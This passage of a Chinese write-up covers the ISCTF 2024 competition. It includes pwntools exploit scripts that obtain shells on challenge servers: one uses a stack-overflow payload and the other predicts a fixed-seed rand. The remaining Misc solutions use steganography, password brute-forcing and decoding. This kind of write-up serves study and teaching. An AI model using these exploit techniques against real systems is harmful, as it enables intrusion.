可以储存40个字节。我们需要运行vuln()
函数,编写以下Payload来绕过strcmp(s1, "admin")
Copy payload = b'a' * 40 + b'admin'
connection.send(payload)
继续分析文件,发现可以溢出到0x000000000040121E
这个位置来执行Shell
我们再来看一眼vuln()
代码:
Copy __int64 vuln()
{
__int64 result; // rax
__int64 i; // [rsp+28h] [rbp-8h]
for ( i = 0LL; i <= 7; ++i )
{
printf("please input your %d girlfriend birthday\n", i + 1);
result = __isoc99_scanf("%ld");
}
return result;
}
0x000000000040121E
对应的十进制为4198932
通过栈溢出实现执行Shell,编写Payload脚本实现,以下是完整的Payload脚本。
Copy from pwn import *
connection = remote('27.25.151.12', 31274)
payload = b'a' * 40 + b'admin'
connection.send(payload)
response_sequence = [b'1', b'1', b'3', b'3', b'4', b'5', b'6', b'4198942']
for response in response_sequence:
connection.recvuntil(b'birthday')
connection.sendline(response)
connection.interactive()
3. ez_game
你是温水,你得完成八奈见杏菜的游戏才能得到你想要的
附件内容:
解压 使用ida打开主程序
发现以下关键点
游戏的随机数种子固定为1
循环20001次即可触发getshell
通过搜索 Python拥有一个模块可以调用c函数 所以可以直接得到随机数排列
编写payload:
Copy from pwn import *
import ctypes
p = remote("27.25.151.12", 29322)
platform.system() =='Linux'
libc = ctypes.cdll.LoadLibrary("./libc.so.6")
p.sendline(b"username")
for i in range(20001):
p.sendline(str(libc.rand()%7+1))
p.interactive()
运行 拿到shell
cat flag
即可拿到flag
五. Misc
1. 小蓝鲨的签到02
strings
直接秒 提交格式为ISCTF{} 去掉C字符
2. 数字迷雾:在像素中寻找线索
你将化身为像素侦探,穿梭于色彩斑斓的图片迷宫,用你的火眼金睛和编程魔法,揭开那些调皮像素点藏匿的秘密flag
附件:
使用zsteg
扫描:
将最后的|改成} 直接得到flag
3. 游园地1
guoql之前出游,去了一处全国遍地都有的一个地方,你能帮我找到具体位置吗?得到的结果用以下格式书写:ISCTF{xx省_xx市_xx区/县_具体所在地},推荐使用百度地图得到结果,不需要写街道等,如可写为河南省_郑州市_二七区_二七广场(并非答案)
附件图片:
仔细观察:
图片中泄露了地点:中山公园
通过百度搜图:
最终flag为 ISCTF{湖北省_武汉市_江汉区_中山游乐园}
4. 游园地2
guoql又双叒出去玩了,作为一个老二次元,他当然要去圣地巡礼,你能找到这是什么地点吗?得到的结果用以下格式书写:ISCTF{xx省_xx市_xx区/县_具体所在地_圣地巡礼对应的游戏名称},如黑神话悟空
附件图片:
通过搜图,通过对比 直接得到游戏名与具体地点:
圣地巡礼直接找:
确定游戏名:
还在打折?出题人的阴谋?
最终flag是ISCTF{湖北省_武汉市_江汉区_充能国安路_恋爱绮谭}
具体地点好像是 鸣笛1988商业街 时间太久了忘记了 反正这俩有一个是
又是一道浓度超标的题(
5. 小蓝鲨的签到01
使用截图工具贴图功能 拼接二维码:
发送ISCTF2024
6. 小蓝鲨的问卷
完成问卷即可拿到flag
7. 少女的秘密花园
题目描述:在一个充满童趣和幻想的世界里,有一位可爱的少女,她的微笑藏着一个无法抗拒的秘密!这张图片并不仅仅是她的可爱面容,更是一个待解的谜题.准备好迎接挑战了吗?快来解锁这位魅力少女的秘密,让她的微笑为你指引方向!✨
首先 解压题目 得到一张图片 使用binwalk扫描:
发现拥有隐藏的文件:base_misc
通过7z打开 发现是压缩包格式 并且需要密码
通过暴力破解可知 密码为040714
解压得到以下内容
文件的开头部分 iVBORw0KGgoAAAANSUhEUgAABjMAAAYz...
类似于PNG图像的Base64编码格式
编写脚本,将base64解码 并转为hex值
Copy import base64
def base64_to_hex(input_file, output_file):
try:
with open(input_file, 'r') as file:
lines = file.readlines()
with open(output_file, 'w') as file:
for line in lines:
line = line.strip()
if line:
try:
decoded_bytes = base64.b64decode(line)
hex_string = decoded_bytes.hex()
file.write(hex_string + '\n')
except Exception as e:
print(f"无法解码行: {line},错误: {e}")
except FileNotFoundError:
print("输入文件未找到。")
except Exception as e:
print(f"发生错误: {e}")
input_file = 'flag.txt'
output_file = 'output.txt'
base64_to_hex(input_file, output_file)
得到以下内容:
将hex值 放进winhex中 导出为png图片
发现宽高不正确 放入工具修改为正确宽高
得到以下内容
通过观察 发现每个字符都在6个格子内 猜测为盲文
解码后得到flag:
8. 赢!rar
打开压缩包大概浏览发现一个文件不对
解压需要密码查看注释发现密码为admin123456
解压后打开文件
后缀为++猜测为UUencode或者是XXencode
UUencode没有得到flag
在用XXencode时得到了flag
flag为 ISCTF{Beat_SfTian!!!!}
9. 老八奇怪自拍照
使用Stegsolve查看图片的通道
在蓝1 绿2 红5通道中发现下图问题
使用Stegsolve查看通道数据
选中红5绿2蓝1通道
发现其中藏着一张图片我们Save Bin一下
将得到的文件使用winhex查看 发现是个压缩包文件 改一下后缀解压得到其中的图片
老八可爱捏
查看图中图片的属性发现有一条信息
将图片放入虚拟机中使用工具解密
使用到Steghide工具时得到了flag.txt
打开得到了flag
flag为 ISCTF{St4gs0lve_Rbg_S4eGh1de_H1de!!!}
咦~ 小丽得到了一个文件,似乎只是套了一个壳子
附件:
file扫描 文件后缀应为exe
打开 发现为WINACE
自提取程序
并且有密码保护
直接交给软件暴力破解 得到密钥:
得到flag
11. watermark
下载附件查看文件内容,可以看到flag标题的压缩包和两个key文件名的文件
打开flag.zip文件发现果然需要解压密码开始对key1 key2文件进行解密得到解压密码
打开key1.txt文件发现文件内有些违和的地方
得到key1
开始解密key2.png
将图片放到binwalk和foremost中并没有发现有隐藏的文件或者图片,根据题目猜测可能与水印有关
可以使用一个提取水印的工具blind_watermark
之后提取出来了一张图片可以看到key2也得到了
将前半段key1和key2结合在一起后解压flag.txt文件在文档中搜索ISCTF得到flag
12. 秘密
解压缩后得到一张图片将其放到kali中扫描字符串
得到一串password 为 ISCTF2024
通过名字可以想到Oursecret
这个工具
将图片放到里面输入密码得到txt文件
打开发现是文本存在乱码
使用工具可以直接解出flag
13. 奇怪的txt
李华今天收到了一封奇怪的信,来信的人说他有很多玩偶,想使用一种方法将玩偶排序,他听说有一种方式是把一堆玩偶编号排成一个圈,假如从序号1开始,每当数到7时挑出这个玩偶,直到所有的玩偶都被挑选完毕,但是愚笨的他不知道这是什么意思,所以写信求助李华。假如你是李华,你能帮来信的人实现这个方法吗?
(这不约瑟夫环吗)
附件:
发现有137个txt 根据题目描述 每七个挑出 顺序就是这样:
Copy def josephus_problem(n, k):
dolls = list(range(1, n + 1))
result = []
index = 0
while dolls:
index = (index + k - 1) % len(dolls)
result.append(dolls.pop(index))
return result
n = 137
k = 7
result = josephus_problem(n, k)
print(result)
写一个脚本 将他们按顺序合并:
Copy import os
file_order = [7, 14, 21, 28, 35, 42, 49, 56, 63, 70, 77, 84, 91, 98, 105, 112, 119, 126, 133, 3, 11, 19, 27, 36, 44, 52, 60, 68, 76, 85, 93, 101, 109, 117, 125, 134, 5, 15, 24, 33, 43, 53, 62, 72, 81, 90, 100, 110, 120, 129, 1, 12, 23, 34, 46, 57, 67, 79, 89, 102, 113, 123, 135, 9, 22, 37, 48, 61, 74, 87, 99, 114, 127, 2, 17, 31, 47, 64, 78, 94, 107, 122, 137, 18, 38, 54, 71, 88, 106, 124, 6, 26, 45, 66, 86, 108, 130, 13, 39, 59, 83, 111, 132, 25, 51, 80, 104, 136, 30, 65, 96, 128, 29, 69, 103, 8, 50, 95, 4, 55, 115, 20, 82, 10, 75, 16, 97, 41, 131, 118, 116, 121, 40, 92, 32, 58, 73]
def merge_files(file_order, output_file):
with open(output_file, 'w', encoding='utf-8') as outfile:
for number in file_order:
file_name = f"{number}.txt"
if os.path.exists(file_name):
with open(file_name, 'r', encoding='utf-8') as infile:
outfile.write(infile.read())
outfile.write("\n")
else:
print(f"文件 {file_name} 不存在,跳过。")
if __name__ == "__main__":
merge_files(file_order, "merged_output.txt")
print("文件合并完成!")
得到一个65MB大小的文件
发现== 猜测为base64加密 并且尝试 套了不止一次
使用脚本循环解码:
Copy import base64
def decode_base64_loop(input_file, output_file):
with open(input_file, 'r', encoding='utf-8') as infile:
data = infile.read()
while True:
try:
data = base64.b64decode(data).decode('utf-8')
except (base64.binascii.Error, UnicodeDecodeError):
break
with open(output_file, 'w', encoding='utf-8') as outfile:
outfile.write(data)
print("解码完成,结果已保存到", output_file)
if __name__ == "__main__":
decode_base64_loop("merged_output.txt", "decoded_output.txt")
直接得到flag:
14. 神秘ping
使用Winhex查看文件发现该文件为倒叙 Wireshark都是反的
从网上搜索反转文件的脚本
运行脚本得到一个名为1的文件
将其放入虚拟机中用发现可以用wireshark看
想到题目名字叫神秘ping,在网上搜索知道
通过这个知道应该把 icmp协议作为过滤
加上了过滤器后的命令写出来后
通过观察发现只有4种不同的数据 猜测可以像例题中改变成二进制的形式 开始尝试手动转换将数据从小到大用00 01 10 11代替
将这串二进制放到工具中解密得到flag
还真是藏在ttl里啊!!
flag为 ISCTF{h1De_1n_TtL}
15. 像素圣战
根据题目中的提示搜索了像素圣战和其英文名
搜索英文的名字时发现了一个网站与其同名
点进去发现需要选择一个图片 将像素圣战的图片提交进去
提交后发现需要密码
从图片中寻找密码没有发现 开始推测密码 发现ISCTF为密码 出来一串二进制的文本
将二进制的文本放到文本文档中后将其复制到工具中解密得到了flag
flag为 ISCTF{R3verse6_b1n4ry_l0l}
16. starry sky
使用winhex查看png文件将对应文本复制到浏览器中得到了一张图片
另存为图片后用winhex发现了XORKEY为FF
使用工具对名为XOR的文件进行XOR解密
将得到的文件放入winhex中查看发现是wav音频文件
更改扩展名后打开听到一串类似报文或者电波的声音使用特定的工具去接收
从得到的影像中得到的信息为 DESKey:YanHuoLG
打开压缩包中的flag.txt文件对其进行DES解密得到flag
flag为 ISCTF{Y0u_@r3_1ooking_@_st@rry_sky!}
留念
总结&感想
本次ISCTF算是我们入门CTF以来真正意义上的一场比赛
本次比赛难度并不是很大 乐趣很多 算是能打的动 的一场比赛
能取得这样的成绩实属使我们没有想到
就这样,我们下个比赛再见!